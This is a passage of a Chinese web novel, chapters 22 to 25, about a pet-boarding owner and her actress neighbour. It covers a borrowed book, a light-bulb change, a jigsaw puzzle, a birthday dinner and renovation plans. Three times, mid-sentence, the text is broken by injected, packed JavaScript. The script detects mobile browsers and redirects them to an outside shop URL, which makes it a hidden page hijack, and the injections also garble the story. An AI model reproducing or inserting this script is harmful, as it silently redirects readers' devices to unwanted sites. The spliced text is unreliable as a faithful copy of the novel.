“你有什么推荐吗,比如,有没有适合心情不好的人读的书?” “要不你读一读哲学方面的书吧。”林岁安开始在一摞一摞的书山里寻找叔本华、罗素、尼采、帕斯卡。 “我看不懂怎么办。”倪杉摸着一猪的脑袋,打起了退堂鼓。光是听到这些名字就已经不想读了,读不了一点。要不我还是睡觉吧。 “看不懂你就使劲儿思考,思考着思考着,你就忘记了悲伤,也忘记了自己为什么心情不好。” “那我恐怕是忘不掉。” “要不你自己选吧,想看什么就看什么。我这些书几乎都是小说,都蛮好看的,不好看的我都送人了。”林岁安索性让她自己挑。 “送给谁了?” 秦筝和她的女朋友。 林岁安每次去她们家吃饭都不好意思空着手,总要带点什么东西过去,这么一清理,家里就显得干净多了。 22. 晚安冰激凌 林岁安坐在床上,看着倪杉在床边的书堆里认真挑选,倪杉是当真想要借回家去看,准备靠着看书来打发接下来的闲暇时间。 倪杉前段时间一直都在阅读,只不过是在读剧本,她读得很精细,自己的那部分和对手演员的台词都字字句句地认真研究,投入了太多时间精力,太过沉浸,她叹了口气,也不知道要看些什么书能帮自己转移注意力。 “我有点选不出来。”倪杉已经拿了好几本,林岁安扫了一眼,《墓园的花要常换水》、《大雪将至》、《海边小屋》。 “那看看这本吧。”林岁安从高高书山的最底层抽出一本黑色封面的书:余华的《活着》。 “这本好看?”倪杉有在网上刷到过好多次关于这本书的讨论,好像口碑很好的样子。 “特别好看,看了以后心情会变好。”林岁安眨眨眼,笑得很是真诚。她的卧室床边放着一台护眼灯,灯光照得她那一头金白色的头发闪闪发亮。 “那我今晚就看。” 倪杉拿起手机看了眼时间: “对了,一猪今晚先留在你家吧。我明天早上想睡懒觉,不想起来遛狗。” “你家的密码是123456。”林岁安说。 “什么?”倪杉愣住了。 “你今晚还是把小狗领回去吧,对小狗来说,回家和住在我这里区别很大。明早你睡你的,我去接小狗去小树林遛弯。” 林岁安拍拍一猪的屁股,小狗什么都知道,它知道妈妈回来了却没有带它回家,心里会伤心。 “也好。那就拜托你了。” “哎,但是你不在家的这段时间我没去过你家,也没用过你的书房。”担心她会误会,林岁安连忙补充道。 “用了也没关系。那我走了。” 林岁安把倪杉和狗子送下楼去,站在小院门口,看着她的背影说了一句: “晚安。” 她的声音不大,没想到倪杉还是听到了。 倪杉站在家门口回应了她: “晚安。” 倪杉坐在床上,戴着眼镜,从晚上九点一直看书看到凌晨三点半,把《活着》看完了,心也死得差不多了。 她哭完了一整盒纸巾,眼睛肿得厉害,心如死灰地躺在床上睡了过去。 全都死了!都别活了! 林岁安早上六点输入密码进入倪杉家,一猪开心地迎上来。 这个狗真的毫无看家护院之本领,一点警戒心都没有。 现在是夏天,林岁安在包里给一猪带了折叠水碗和一瓶纯净水,牵着狗绳出门。 她最近又开辟了一条新的遛狗路线,不走小树林,在岔路口转弯,沿着小路走两公里就是一片湖。 之前有钓鱼的游客在她的小摊上买水,告诉她这条路线。这条路原本是没有的,被钓鱼的人传开之后,没过多久就被人为踏出一条道路。 松谷山的景区还没有开发到很完善的地步,只有上山需要收门票,这里还没有修栈道,且玩且珍惜。 一猪胆子小,紧紧跟在林岁安身边,来到陌生的地方,它不敢随意探索,等熟悉之后才干撒开了玩儿。 林岁安摸清了它的性格,猜想它走丢的那段时间大概率是把自己藏在了树林里。 林岁安遛狗花了一个半小时,等她牵着一猪回到倪杉家,倪杉还没醒。 倪杉家的沙发和椅子都是布面的,林岁安没有碰。她坐在地上,用湿毛巾给一猪把四个小脚爪擦干净,又自作主张给一猪开了一个大罐头。 趁着小狗吃东西时,她环顾四周,若有所思地盯着脚下的地板。铺地板的话,一个房间大概要两千多块。她在心里定了个小计划,打算在今年入冬之前给家里进行一部分装修。 倪杉昨晚熬夜看书看得很崩溃,中午醒来时眼睛依旧肿得厉害,几乎睁不开眼。 人在悲痛欲绝的情绪之下一点胃口都没有,她略过了早餐和午餐,在卧室一直躺到下午,随机播放歌曲。 原本今天应该是她新剧的开机仪式。 倪杉没有点开任何社交平台,她什么都不想看,也什么都不想知道。 她把那本看完的《活着》放在床头柜最远的地方,不出意外这辈子都不会轻易再翻看了。转念一想,最好还是不要把这种东西留在家,她决定还给林岁安。 坚强坏女人:“你推荐的那本书,我看完了,等下还你。” 岁岁平安:“活着?” 坚强坏女人:“还活着。” 岁岁平安:“要不你现在来?我正好在做晚餐,大约半小时后开饭。” 坚强坏女人:“吃什么?” 岁岁平安:“照烧鸡腿饭。” 倪杉看着这几个字,忽然就有些饿了。 她起身去浴室泡了澡,湿着头发下楼,习惯性地开灯,发现大灯没亮,这才想起昨天家里的灯就坏了。 她又站在一楼给物业打了两个电话,依旧是无人接听。 倪杉沮丧地出门,一猪也兴冲冲跟了上去,还以为是要出去遛遛。 “一猪,好烦啊,这个破灯怎么偏偏这个时候坏了。”她跟自己的小狗抱怨着,按响了林岁安家的门铃。 由于林岁安没有第一时间来开门,倪杉暴躁地连续按了好几次。 “书看完啦?怎么样?喜欢吗。”林岁安给她开了门,接过她手里的书。 很听话嘛,我推荐什么你就看什么。 “还行。”倪杉懒得和她计较。看都看了,现在说什么都晚了。 “你眼睛怎么这么肿,要不要用冰敷一下。” “不用。” “那我接着做饭了,你自己在家随便玩儿一会儿吧。” 家里洋溢着一股浓郁的照烧酱的香味,林岁安哼着歌回到厨房,看看锅里的鸡腿。 “对了,你知道咱们小区的物业在哪儿吗?”倪杉问她。 “就在三号楼楼下。” “那为什么我给物业打电话总是没人接呢?” 倪杉做在公园同款长椅上,又打了一个电话,依旧无人接听: “我们家灯坏了,这个是要找物业帮忙修的吧。” “客厅的灯吗?” “对,特别高,我自己够不到。” “我有个梯子,等下吃完饭我帮你换个灯泡。” 林岁安家的灯都是她自己安装的,当时特意买了一架可以够到天花板的梯子,这梯子就用过那么几次,大部分时间都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299303|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲置在二楼的空房间。 “不行吧,这么高,你爬上去万一摔下来怎么办。”倪杉不敢让她来换。别摔死在我家讹上我啊。 “摔不死,放心吧。我身手还不错。”林岁安无语地说。她也是很惜命的人,她会很小心。 说到身手,倪杉不甘示弱。她从小习武,又做了那么久的武打替身,再怎么样也比林岁安要厉害,因此她说: “不用你来,你把梯子借给我,我自己换就好。” 倪杉坐在餐桌前等着开饭。她今天的状态明显不太好,哭了一晚上,没有喝咖啡,脸有点肿。 林岁安还真给她从冰箱里取了一个冰激凌,让她敷在眼睛上。 “谢谢。”倪杉很需要,她闭上眼睛,冰冰凉凉的触感让她觉得眼睛很舒服。 “有小勺吗,我想把这个冰激凌吃掉。”敷了一会儿,倪杉的手心都变得凉凉的。她看了一眼这个冰激凌的口味,刚好是她喜欢的哈密瓜味。 “先吃饭。”林岁安把两碗照烧鸡腿饭端上餐桌。 “我想先吃冰激凌。” “先吃饭。” “饭前可以吃冰激凌。”倪杉把冰激凌盖子打开,果然,在盖子的正上方贴着一枚小勺。 她挑衅地看了林岁安一眼,拆下小勺,舀起一勺冰激凌,这冰激凌就要这种时候吃,刚从冰箱拿出来的时候太硬,用体温融化一会儿,奶油才会变得丝滑柔软。 一猪和大黄也凑上去想要分几口,林岁安又从冷藏柜里开了一小盒酸奶,给两只狗狗分着吃。 真是反了天了。 谁家小狗这个时间吃零食啊。 忙完这一切,林岁安终于坐回位置上,安心吃着自己精心烹饪的鸡腿饭。 她很想说倪杉几句:你怎么跟个小孩儿似的。你小时候是不是被家里管得很严,长大了才会变成这样。 然而最终什么也没说。 倪杉翘着二郎腿几乎要把拖鞋踢飞,一边吃着冰激凌,一边吃着正餐,这个冰激凌虽然很甜,但也让她的心情变好了许多。 倪杉吃着吃着忽然说:“我怎么感觉,你家今天还有一股螺蛳粉的味儿?” 你没发现吗,你家臭臭的耶。 “我今天已经开窗通风一整天了。”林岁安淡淡地说。 “那怎么还有味儿?”倪杉故作无辜地看着林岁安,想要看透她平静背后所隐藏的真实情绪。 “你说呢。” “我怎么知道。” “你买这种东西的时候没有想过会这样吗。” 还特意带到我家来吃,你以为我不知道你安的什么心? “不知道。”倪杉说完自己都忍不住笑了,林岁安这双狐狸眼睛带着怨恨,显得霸气又勾人,她忽然觉得这小孩儿的长相其实很适合做时装模特,很有特点。 “但螺蛳粉总归是很好吃的,对吧。” 林岁安不接她的话。 窗外已经是夜晚了,她站起身,把窗帘拉好,灰色的毛坯房在灯下依旧显得很瘆人。 “你家可以借给剧组拍电影。”倪杉评价道。 “拍什么电影?” “绑架犯罪题材的电影,你这里很像犯罪分子的老窝。” 23. 天梯 吃饱饭后,林岁安扛着梯子去了倪杉家。 正如林岁安所说,这是一个巨大的梯子,倪杉家的抽屉里有备用灯泡,以防万一,林岁安还是从自己家带了一枚灯泡。 梯子在一楼客厅架起来,倪杉坚持要自己换灯泡,说什么也不要林岁安帮忙,并且不停地强调说: “我身手很好。” 林岁安看着她穿着睡裙和拖鞋一步步爬上梯子,这梯子很高,往下看去有些恐怖。她在剧组经常吊威亚,有装备绑在身上会更有安全感,这样毫无防备地爬到这么高的地方,还是会害怕。 “我感觉自己好像在爬天梯。” “怕不怕。”林岁安在下面问她。 “才不怕。” “我帮你扶着梯子,万一你掉下来,我可以帮你叫救护车。”话虽这么说,林岁安却不敢动梯子。她怕自己的力气用的不对,把姐姐晃下来。 “我以为你会说你要接住我。”倪杉苦笑着说。 “接住你也可以呀。” 倪杉爬到梯子最顶端,双手举过头顶,拆掉灯罩,夹在腋下,然后拧动灯泡。 这灯泡拧得很紧,她不确定自己拧的方向对不对,是不是越来越紧,她深深呼吸,调整好心态,换了个方向继续拧。 “怎么办,好像拧不动。”在梯子顶端用很费力的姿势站了太久,倪杉的手臂都酸了。 “别急,慢慢来。”林岁安安慰她。这椅子很窄,只能让一个人上去。 从林岁安这个角度向上看去,倪杉站在梯子的最顶端,整个人小小一只,看上去摇摇欲坠,动作小心翼翼,有点可怜。 她想了想,决定唱几句歌来安慰她: “倪杉。” “干嘛,没事别打扰我。”倪杉没好气地说。 没看我正忙着呢吗,你最好真的有事。 “你有多久没有在换灯泡的时候又唱又跳了?” “?” 倪杉一边试图和灯泡作斗争,一边分神,低头瞟了林岁安一眼。 你是不是有病啊。我真的很忙,等我忙完下去再来抽你。 与此同时,林岁安开始唱那首很经典的粤语歌,《天梯》: “如何找个荒岛 向未来避开生活中那些苦恼 如冬天欠电炉双手拥抱……” “隔绝尘俗只想要跟你可终老 来跨出那地图不需好报都只想你好……” 林岁安已经沉浸在清唱的艺术中无法自拔了。 与此同时,倪杉在她的歌声中气得一个用力,灯泡竟然被拧松了。她喜出望外,连忙加快手速,把坏掉的灯泡拆下来,再把新的灯泡拧上去。 “换好了,你快帮我去开下灯,看看效果。” 林岁安按下开关,灯一闪,照亮了整间房子。 倪杉松了一口气,眯着眼睛正对着强光,把灯罩按装回去。 大功告成! 倪杉手里只剩下一个换下来的灯泡,她扶着梯子,一点点向后倒退着爬下来,她抬起头,眼看自己离天花板越来越远,因此加快了速度。 只可惜她误判了地面的位置,一脚踏空,林岁安站在她身后,伸出手刚好能够搂住她的腰,就这么稳稳扶住了她。 “小心点!” “我还以为已经是最后两节梯子了。” 倪杉并不感到害怕,林岁安还没松手,她转过身去,直径投入了身后这个怀抱。 这回真的松手了。 林岁安受宠若惊地抱着她向后退了几步,低头看看倪杉的脚:“我看到你刚刚踩空了,有没有受伤?” 身体贴着身体,倪杉的长发散落在林岁安的肩上,林岁安几乎不敢呼吸。 倪杉虽然很瘦,腰腹部却软软的,抱起来手感很好,睡衣面料有点滑,两者加在一起,林岁安觉得好像有什么东西咬住了自己的心脏,汁水四溢。 “没事。我刚刚扶住那个梯子了。”倪杉被她抱得很稳很紧,挣扎了一下竟然没能降落。 小屁孩儿,力气这么大。 她拍拍林岁安的后背,示意她放自己下来。 林岁安松了手,香软弹滑的姐姐就这样从怀中溜走了。 “你歌唱得不错。”倪杉把坏掉的灯泡丢进垃圾桶,对林岁安说。 “你刚才还直呼我大名了?小屁孩,没礼貌。” 玩辣。姐姐下来找我算账辣。 林岁安乖乖站在倪杉面前,等候她的发落。 “傻愣着干什么,把梯子收好带回去吧。” 林岁安扛着梯子和倪杉一边往家走去,一边斗嘴: 倪杉似乎对自己刚刚的表现很是满意:“怎么样,我身手是不是还挺不错的?这么快就自己换完了灯泡。” 林岁安不屑地说:“不错啥呀,你在上面都抖成啥样了,好像踩了甩脂机。” “根本没有,我很稳的。” “你恐高。” “我不恐高。” “你拍戏的时候不恐高吗?” “我不拍戏的时候也不恐高。” 林岁安搬着梯子回到二楼,横着把梯子放回原位,等她再次回到一楼,就看见倪杉和猫咪们站在墙边,倪杉抬起头,一言难尽地看着她。 林岁安走近一看,原来是那副拼图画在小猫的跑酷过程中被撞翻在地上,原本拼好的画已经全部变成了拼图碎块。 “小猫打翻的。”倪杉先把自己和这件事撇清了关系:“不信你可以查客厅的监控。” “我知道,我本来也没怀疑你。”林岁安弯下腰,一点点把地上的拼图碎片捡起来放在桌子上。 “好可惜啊。” “不可惜啊,这是拼图,拼图就是这样玩的,全部打翻然后重新拼成一幅画。” 林岁安心平气和地把地上的碎片收拾干净,小猫在一旁好奇围观。 刚刚这幅画掉落在地面,小猫被吓得当场飞起。 “你情绪还挺稳定,如果是我的话会觉得很心烦。”倪杉佩服地说。 “那不然呢,对一只小猫大发雷霆吗,这都不是值得生气的事。” “那什么才是值得生气的事?” “看到有人虐待伤害小动物,遗弃小动物,都会让我很愤怒啊。” 那可真是太多了,说都说不完。 林岁安这么多年一直都在做流浪猫狗救助,她家里养的这些猫咪几乎都是做过手术、有慢性病、需要长期吃药的幸存者。 一说到这个,林岁安就想起很多悲伤难过的事,那些被毒死和被杀害的小动物反复出现在她的眼前,她只要想起一次就会痛恨人类一次。 她坐在桌前,把掉落的拼图碎块慢慢地一片一片拼凑回去。 倪杉坐在她身边的椅子上,安静地趴在桌子上陪着她,看着她拼拼图。 大概过了半个多小时,林岁安调整好情绪,她觉得自己刚刚那样不太好,自顾自地沉浸在自己的痛苦中,好像冷落了倪杉,于是邀请倪杉加入游戏: “你要不要和我一起拼啊。” 问出这句话的时候,倪杉刚好对着她打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299304|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个哈欠。 “我不太会。我在旁边看着你拼吧。”倪杉摆摆手,婉拒了她的好意。 “可以。” 倪杉发现林岁安的观察能力很强,不知道是不是玩拼图也有技巧,林岁安好像一眼就能从看不出是什么的混乱的碎片中找到匹配的那一块。 她拿手机拍了张拼图的照片,发给了桑桑。 “姐,你入坑拼图啦?” “没有。这是我邻居的拼图,她玩这个很厉害。” “姐,你想玩的话我给你买一套吧,寄到你家,你自己在家拼着玩儿。” “不要。别买。” “我下单了。” “不要,别买。” “买好了。” “…………”现在的年轻人都这么不听话吗。越是说不要,她就越兴奋。 桑桑给倪杉选了一套看上去图案巨巨巨复杂的拼图,她原本还很担心倪杉,现在看到倪杉在玩拼图,她立刻就放心了。 拼图很适合转移注意力。 桑桑之前还想带倪杉一起打游戏,倪杉却说她只会玩开心消消乐。 倪杉放下手机,看着林岁安拼拼图,忽然想起她刚刚唱的那首粤语歌。 当时没心思听,现在回想起来,其实唱的挺好听。 “你粤语说的很好。你是岭南人?” “对。” 各位导师好,我是01号选手林岁安,来自双马尾大蟑螂之乡岭南。 “你当初,没去上学,但是考上了,对吧。”所以父母那边才会给你提供学费。 林岁安点点头。 “原本你是要学什么专业来着?” “商科。” 林岁安又成功把一片拼图归位: “就是大部分留学生都会选择的专业。” “不知道你能不能理解,当时,我的心脏和身体都迫切地需要漂泊,流浪,我只是顺从了自己内心的想法。” “但是去漂泊和流浪需要钱,所以我不得不认真学习、考试,准备了许多入学申请,我爸妈很信任我,因为从小到大我都没做过任何出格的事,连考试不及格都没有过。” “你很聪明。”倪杉由衷地说。她看着林岁安玩拼图的手指,灵巧又纤细,像一件艺术品。 “也没有,我只是刚好有点擅长学习和考试。” “那你和你爸爸妈妈关系不好吗?” “……没有不好,也没有很好,她们很关心我,但她们想要的女儿是优秀、聪明,在澳洲读书工作,说出去可以扬眉吐气和人炫耀的。” “我……她们无法接受我真实的样子:没有学历,没有精进,对人生没有很现实的计划,做着不入流的工作,每天跟猫狗混在一起,在山脚下摆摊卖烤肠。” “等年底的时候,你会告诉他们一部分真相吗。” “应该不会。我会和他们说我回来之后要在京市或沪市工作,很体面很理想。” 林岁安把剩下的拼图碎块装在一个空的饼干盒子里,留着明天继续拼。 见她不玩了,倪杉也打算回家。 她伸出手,轻轻揉了揉林岁安的头发。 这些年一直都背负着谎言生活,即使获得了自由,也很辛苦吧。 林岁安被她这个动作硬控十几秒,整个人僵在原地,一动不动。 “那我走了,谢谢你的晚餐和冰激凌,谢谢你的天梯。晚安。” 林岁安坐在位置上,过了很久很久,才后知后觉对着门口消失的身影说: “晚安。” 24. 电钢琴 八月初是林岁安的生日。 秦筝早就和林岁安说好了,让她到时候来家里吃饭、过生日,她有礼物送给林岁安。 秦筝和林岁安认识才两年多,是当初在救助猫车的时候遇到的。林岁安听到秦筝说她是宠物医院的医生,立马主动上前和秦筝加了好友。 从那之后,林岁安经常去秦筝的宠物医院占便宜,把榆城能抓到的流浪猫狗都送去做了绝育。 没办法,宠物医疗太贵了。 她不觉得自己和秦筝有多深厚的交情,充其量是志同道合的伙伴,没想到后来要买房的时候,秦筝竟然借了钱给她。 这钱一借出去,两人之间的关系立马就不一样了。秦筝能很明显地感觉到林岁安这个虚伪势力冷漠薄情的女人开始把自己当朋友了。 铁骨铮铮:“你开车来市里,把大黄也带上吧,一起进城来玩。” 岁岁平安:“不行,大黄晕车。别折腾它了。” 林岁安在下午三点开车出门,她在出门前给猫猫们清理了猫砂盆,新换了水碗,填满了猫粮。 “大黄,我出去吃个饭,晚上回来,你不许偷吃猫粮。” 林岁安在早上收到了妈妈发来的生日红包。 她其实不是一个有仪式感的人,不爱过节日,也不爱过生日。 看到朋友圈有人大张旗鼓的庆祝生日,她会在心里计算背后的精力成本和金钱成本,内心毫无波澜,只会觉得麻烦。 这天是周四,秦筝特意和合伙人调了班,留出半天时间来给林岁安过生日。 往常她都要从早上八点工作到晚上十点,早上接到宠物主人打来的电话,情况紧急的话她四五点就要去医院工作,连周末都不能休息。 这半天假几乎挽救了她的生命。 再不休息一下她就要坚持不住了。 “你怎么穿成这样就来了?”门一开,秦筝一脸失望地看着林岁安。 普通T恤,普通长裤,手里还拎着一袋楼下买的水果。 “怎么了?” “你过生日哎,怎么不穿新衣服新鞋子。”秦筝今天都特意穿了一件新裙子。 “不用。反正每年都有生日,又不是最后一次了,打扮得那么隆重干什么。” “你这个新发色真好看!好像被囚禁多年没有晒过太阳的病娇omega!苍白又娇弱。” 林岁安进门就看到墙边放着两个通天猫爬架,秦筝家的猫猫狗狗也有不少。 两只独眼橘猫热情地凑上来迎接她。 和林岁安一样,秦筝这些年也一直在坚持救助小动物,她从小就喜欢动物,长大后也算是得偿所愿,从动物医学专业毕业后做了想做的工作。 林岁安在沙发上坐下,很快就沾了一身毛。 秦筝家几乎是一个小型的动物园,养了猫狗刺猬鹦鹉仓鼠,还有两只小乌龟和一缸金鱼,阳台上有好几盆绿植。 这个家里活着的东西太多了。 很多动物都是被主人遗弃在宠物医院门口的,秦筝把小动物治好之后先试图找领养,能送走的都送走,送不走的被她带回了家。 “你女朋友为什么在家也戴着口罩?”秦筝的女朋友在厨房做饭,林岁安去倒水。和秦筝女友打了招呼。 “她猫毛过敏。” “?” “我和她说了,她可以选择搬出去住,但她不要。” “那她真的很爱你。” “你觉得这是爱?” “如果这都不算爱?”别太爱了。 秦筝是很标致的淡颜美人,光看长相会让人觉得她性格很温柔,是单纯可爱的小白花。 只有和她熟悉的人才知道,不能以貌取人。 “哎,你呢,你和倪杉发展到哪一步了?”秦筝问她。 “没有,真没有,我俩作息时间不一样,即使住在同一个小区也很难遇到。”林岁安赶紧澄清。 自从上次倪杉来她家吃过两次饭之后,两人有很长一段时间都没有再见面。 倪杉很宅,除了遛狗之外的所有时间都待在家里,林岁安每天去市集买菜也从没遇见过她。 “她素颜是不是很漂亮?”秦筝最近追了好几部倪杉以前演的剧,她对她很是好奇。 啊啊啊,一想到林岁安竟然跟这个大美人当邻居,她就忍不住浮想联翩。 林岁安点点头。 漂亮自然是漂亮的,只是漂亮这个词很单薄,不足以来概括倪杉。 她低下头,看着自己的手。 那天晚上,她用手搂住倪杉防止她摔下来,那种柔软温热的触感还依稀能感受到。 “你没否认哦。你也想和倪杉发展点什么,对吧。” 秦筝在一旁抱着猫酸溜溜地说: “其实你条件挺好的,有房,有一份吊儿郎当的事业,比那些大学刚毕业的年轻人好多了。” “我是倪杉的话我会优先考虑你的。” “我谢谢你啊。” “人家在娱乐圈什么人没有啊,怎么可能会和我们这样的人谈恋爱?” 你见哪个女演员会和普通人谈恋爱? 回想起娱乐圈所有官宣的恋情,要么是和圈内人在一起,要么是和有权有势的人在一起,没有哪个女明星说自己和猫狗幼儿园园长在一起,还谢谢大家的祝福。 林岁安煞有介事地和秦筝解释道: “当然了,我也并不想和女演员谈恋爱,你别误会,我只是想说你幻想的这个情况不可能发生。” “你为什么不想和女演员谈恋爱,我就不一样了,我做梦都想。” 林岁安没有回答。 为什么不想? 真的不想吗? 到底是想还是不想? 她看着秦筝的手在小猫头上一下一下地抚摸着,又想起那天晚上,倪杉的手轻轻落在她的头顶,也像这样摸了摸。 她原本是很排斥人与人之间的触碰的,小时候,她是那种不喜欢和妈妈抱抱贴贴的小孩。 别的小孩都缠着妈妈要抱抱,只有她一个人坐在沙坑里自得其乐地忙自己的事。 她也是长大了才知道,原来自己对人类的排斥是天生的,她就是这样的人,生下来就平等地不喜欢所有人类,不喜欢被抚摸,不喜欢被拥抱,反感一切肢体上的触碰,敏感抗拒到了一种病态的程度。 和人发生肢体接触会让她觉得恶心想吐,在上学期间,即使天气再热她也只穿长衣长裤,却依旧会对身边人的呼吸感到烦躁。 她忍这群人很久了。 但是。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299305|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 倪杉摸她脑袋的时候,她并没有感知到自己心里有讨厌或抗拒的情感。 她只是懵懵地愣在原地,直到倪杉离开。 晚餐时间,三人围坐在餐桌前,秦筝的女朋友终于摘下口罩,林岁安看见她脸上起了一片红疹,的确是猫毛过敏的症状。 “会难受吗?” “不会,没什么影响,只是对颜值有影响。” “过敏是一件可大可小的事,你最好多为自己考虑一下。”林岁安都把话说到这份儿上了,对方却只顾着给秦筝夹菜。 她叹了口气,低头开始吃饭。 门铃响了,秦筝去开门,取来了蛋糕。 她选了一款芋泥麻薯蛋糕,在林岁安的强烈坚持下,没有唱生日歌,也没有吹蜡烛的仪式。 “那要不,我把礼物给你拿出来,你给我们大家表演个节目吧。”秦筝做出了让步。 “………什么礼物?”林岁安有一种不详的预感。 不一会儿,秦筝就从卧室取出一个很大的盒子,郑重其事地送给林岁安。 “这是我精心为你准备的礼物。” “这是电子琴吗?”林岁安看着盒子上的图案,已经知道里面是什么了。 “不太一样,这个音质要比电子琴好很多,叫电钢琴。” 秦筝之前听林岁安说过,她小时候学过钢琴。 林岁安的手指修长纤细,条件很好,因此被送去学习钢琴。 因此秦筝觉得既然她现在住在独栋的房子里,一个人没事在家弹弹琴也挺好,不会打扰到别人,还能驱散孤独。 “你小时候学了多久钢琴?”秦筝女朋友问林岁安。 “从三岁一直学到十五岁。” “好厉害!后来为什么不学了?” “因为我跟我爸妈说我以后想专业做音乐,作曲,弹唱,做个音乐人,我爸妈吓死了,赶紧给我把钢琴课停了。” 即使事情过去这么多年,至今回想起来还是会觉得有些心酸。 “怎么这样啊!” “因为他们觉得做音乐人是一种不入流的职业,不希望我以后做这样的事。” “那他们希望你做什么?” “公务员,老师,医生,律师,总之得是那种主流的职业。” 林岁安说着,迫不及待地拆开了盒子: “我能插上电试试吗?” 太久没碰琴键了,林岁安在桌子边鼓捣了一会儿,内心有点小激动。 “啊啊啊啊,我要听。”秦筝站在一旁,她身边的朋友的手都是拿着手术刀用来给猫狗做绝育的,第一次有人的手是用来弹琴的。 “你们想听什么?我找找谱子。”林岁安问她俩。 “不知道!” 林岁安想了想,弹起了《富士山下》。 她的手指灵活地在键盘上跳跃,精准地找到每一个音符所在的地方,家里的猫咪都停止动作,一起注视着她的动作。 秦筝家的空调制冷效果不太好,即使开到最低的温度,在夏天一直都很热。听着林岁安弹琴,心静自然凉。 最后一个音符落下,秦筝问她: “弹琴的时候你在想什么?” “我在想……我在想一颗落满雪的高高的松树。” 25. 装修计划 林岁安弹完琴,小心地把键盘收起来,三人继续吃饭。 秦筝对自己送出的这项礼物感到无比满意,礼物这种东西随便送送很容易,送对却很难。 “唉,我跟你们说,我打算要开始装修了。”林岁安说。 我要改善生活环境了! “啊,你终于打算装修了!” 秦筝家的茶几很低,三人一人一个垫子,每次吃饭都坐在垫子上。地板清理得很干净,秦筝和女朋友在家都是光脚走路。 条件允许的话,林岁安也想要过这种有地板的生活。 “我算了算,整个房子都装修的话压力有点大,我打算只装修客厅和卧室。” “卫生间最好也装修一下吧,我上次在你家上洗手间,看着周围的水泥墙,又是晚上,感觉很恐怖。”秦筝建议道。 “那我的经济压力就更大了。” 林岁安叹了口气: “我还没还清之前借你的钱呢。” 要说倪杉的角色被抢这件事对林岁安有什么影响,那大概就是让她失去了一大笔生意。原本一猪要在她家寄养两个月,这笔钱到账的话她的手头还能宽裕点,现在这单生意没了,令原本就不富裕的家庭雪上加霜。 所以林岁安现在很讨厌抢走倪杉角色的那位女演员金一媛。 没办法不讨厌,这几乎算是动了她的大动脉了。 “不过你为什么突然要装修了,你都住了一年多了。”秦筝问她。 “我觉得每次客人来我家接狗的时候,都会露出一些不太满意的情绪,大概是觉得住在这种环境里不太好吧。”林岁安说。她觉得自己现在没生意,可能和这个也有关系。 以前觉得不重要的东西,实际上很重要。 “我懂,就像我们宠物医院一样,装修是大头,不能让客人觉得太寒碜。” 秦筝拿出手机,在好友列表里翻找着: “我可以给你推荐我之前装修医院的时候找的那个装修公司,是个女老板,你记得跟她商量好方案后杀价。” “对了,那你装修期间住哪儿啊。” “还住家里不行吗,我也不是每个房间都要装修。” “当然不行,到时候要刷墙,铺地板,涂抹各种东西,你……你的猫狗都要转移,不可能留在家里的。” “这么麻烦啊。” 林岁安没想到还有这些事,那在装修期间,她的小狗幼儿园就要停业了。虽说现在本来也没什么生意,但还是需要做好计划。 林岁安吃饱喝足后谢过秦筝,开车回家去。 在路上,她一直在考虑装修的事。 秦筝说可以暂时收留她和她的小动物,但秦筝家在市区,而且家里还有女朋友,她觉得自己冒然借住不太合适,所以拒绝了。 林岁安宁肯一个人睡在宠物医院。 第二天上午,林岁安在朋友圈发了一条消息: “各位新老顾客大家好,寄养中心将于8.10日开始装修,在此期间寄养工作和洗护工作暂停,大家不要跑空。” 装修公司的负责人来家里测量了面积,林岁安的要求基础又简单,她只要刷墙和铺地板,即使这样也很贵,她坎了半天价,最后还是以一个比较贵的价格成交了。 林岁安把猫猫们打包送去秦筝家,家里的东西也一起清空,收纳到小院的仓库里,连面包车都被装得满满当当。这么一收拾,家里只剩下她和大黄。 自从看完了《活着》,倪杉看虐文成瘾,每天抱着手机看最虐心最伤人的小说,一本接一本,看的不亦乐乎。 桑桑送她的拼图早就收到了,巨大一盒,不知道有几万片,倪杉绝望地拍了张照片反馈给桑桑,她郑重其事地把拼图摆在书房的桌子上,想到那天林岁安拼拼图的样子,感觉也不是很难。 倪杉终于在一个月黑风高的晚上准备开始动手。 她坐在椅子上,对着一盒子碎片研究了好久,几小时过去,终于把最靠边的那一排拼好了。 好难,感觉眼睛都要瞎了。 这到底是怎么看出来的。 这几天,榆城一直在下雨。 带着水汽的风从窗外吹进房间,纱帘摇动,倪杉站起身去关窗,忽然看见林岁安小院儿里挂着一盏很亮的露营灯。 她把眼镜戴上,想要看清楚一点。 这不看不知道,要不是亲眼所见,倪杉还以为自己眼花了。 林岁安的小院儿里不知什么时候搭了个帐篷。 仔细看去,帐篷里还有人影在晃动。 